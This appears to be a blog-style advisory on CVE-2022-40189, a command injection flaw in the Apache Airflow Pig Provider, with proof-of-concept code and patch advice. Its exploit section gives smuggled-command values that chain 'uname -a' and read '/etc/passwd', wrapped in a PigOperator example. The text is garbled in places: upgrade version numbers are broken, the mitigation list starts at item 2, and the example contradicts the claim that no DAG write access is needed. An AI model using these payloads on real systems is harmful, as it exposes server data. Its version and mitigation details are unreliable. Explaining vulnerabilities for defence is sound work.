Apache Airflow is one of the most popular workflow management systems in data engineering and machine learning pipelines. It supports various providers to interact with different data sources and systems, including support for Apache Pig – a platform for analyzing large data sets with a high-level scripting language. Unfortunately, a critical vulnerability, CVE-2022-40189, was discovered affecting the Pig Provider for Airflow, leading to potential OS command injection.

Let’s break down what this means, who is affected, how the exploit works, and how you can secure your systems.

What is CVE-2022-40189?

CVE-2022-40189 is an “Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')” vulnerability in the Apache Airflow Pig Provider.

This flaw lets attackers remotely inject and execute arbitrary operating system commands in the context of Airflow task execution. The scary part is you *don’t even need write access to DAG files* to exploit it.

How Does the Vulnerability Work?

Apache Airflow tasks (or “operators”) often build command line instructions dynamically, sometimes inserting user-provided input. If those inputs aren’t cleaned up properly (“neutralized”), attackers can hide malicious shell commands in them. When Airflow runs the task, it inadvertently executes the attacker’s code.

With PigOperator, user input could be passed into the shell

from airflow.providers.apache.pig.operators.pig import PigOperator

run_pig = PigOperator(
    task_id='my_pig_task',
    pig=your_custom_pig_script,  # This value could be controlled!
    pigopts=your_pig_options,    # Or maybe this too
    pig_cli_conn_id='my_conn'
)

Supposing your_pig_options comes from an untrusted source, a malicious value like this could break out of the expected context:

--param key=value; sleep 10; uname -a; #

If this string isn’t sanitized, your Airflow installation could end up running sleep 10 and uname -a commands – or much worse.

Example Proof-of-Concept Exploit

Imagine you have an endpoint in a company portal where users can submit Pig jobs, and user input directly influences the pigopts or pig parameter.

If you feed this as an input

"; cat /etc/passwd #"

The operator might generate a shell command that looks like

pig -x local "; cat /etc/passwd #"

That cat /etc/passwd command would be executed by the system user running Airflow – you’ve now successfully exposed sensitive server data.

Minimal Reproducible Example

malicious_pigopts = '"; cat /etc/passwd #"'

run_pig = PigOperator(
    task_id='exploit',
    pigopts=malicious_pigopts,
    pig_cli_conn_id='your_conn'
)

# When Airflow executes this task, it runs OS commands contained in pigopts

Make sure your base Airflow is at 2.3. or newer (Pig Provider 4.. requires this)

2. Isolation: Do not accept untrusted user input for Pig job parameters on shared Airflow environments.
3. Review DAGs: Audit your existing DAGs for dynamic or user-controlled values passed to Airflow operators.

References

- Apache Airflow Security Advisory
- Apache Airflow Official Pig Provider Changelog
- CVE Details Page

Summary

CVE-2022-40189 is a dangerous OS command injection bug in the Apache Airflow Pig Provider. Attackers can exploit this vulnerability to execute any shell command on your Airflow server if you’re using a vulnerable version. Patching is simple but must be done manually: upgrade your Airflow to 2.3.+ and Pig Provider to 4..+. Never trust external user input in Airflow parameters, and always keep your dependencies up to date.

If you want to dig deeper, read the official GHSA advisory, or check the Airflow changelog for more details!

Don’t wait – secure your Airflow deployment today!

> *This article is exclusive and crafted for clarity for those managing Apache Airflow environments. Always verify your installed package versions and review trusted advisories regularly.*

Timeline

Published on: 11/22/2022 10:15:00 UTC
Last modified on: 11/29/2022 13:57:00 UTC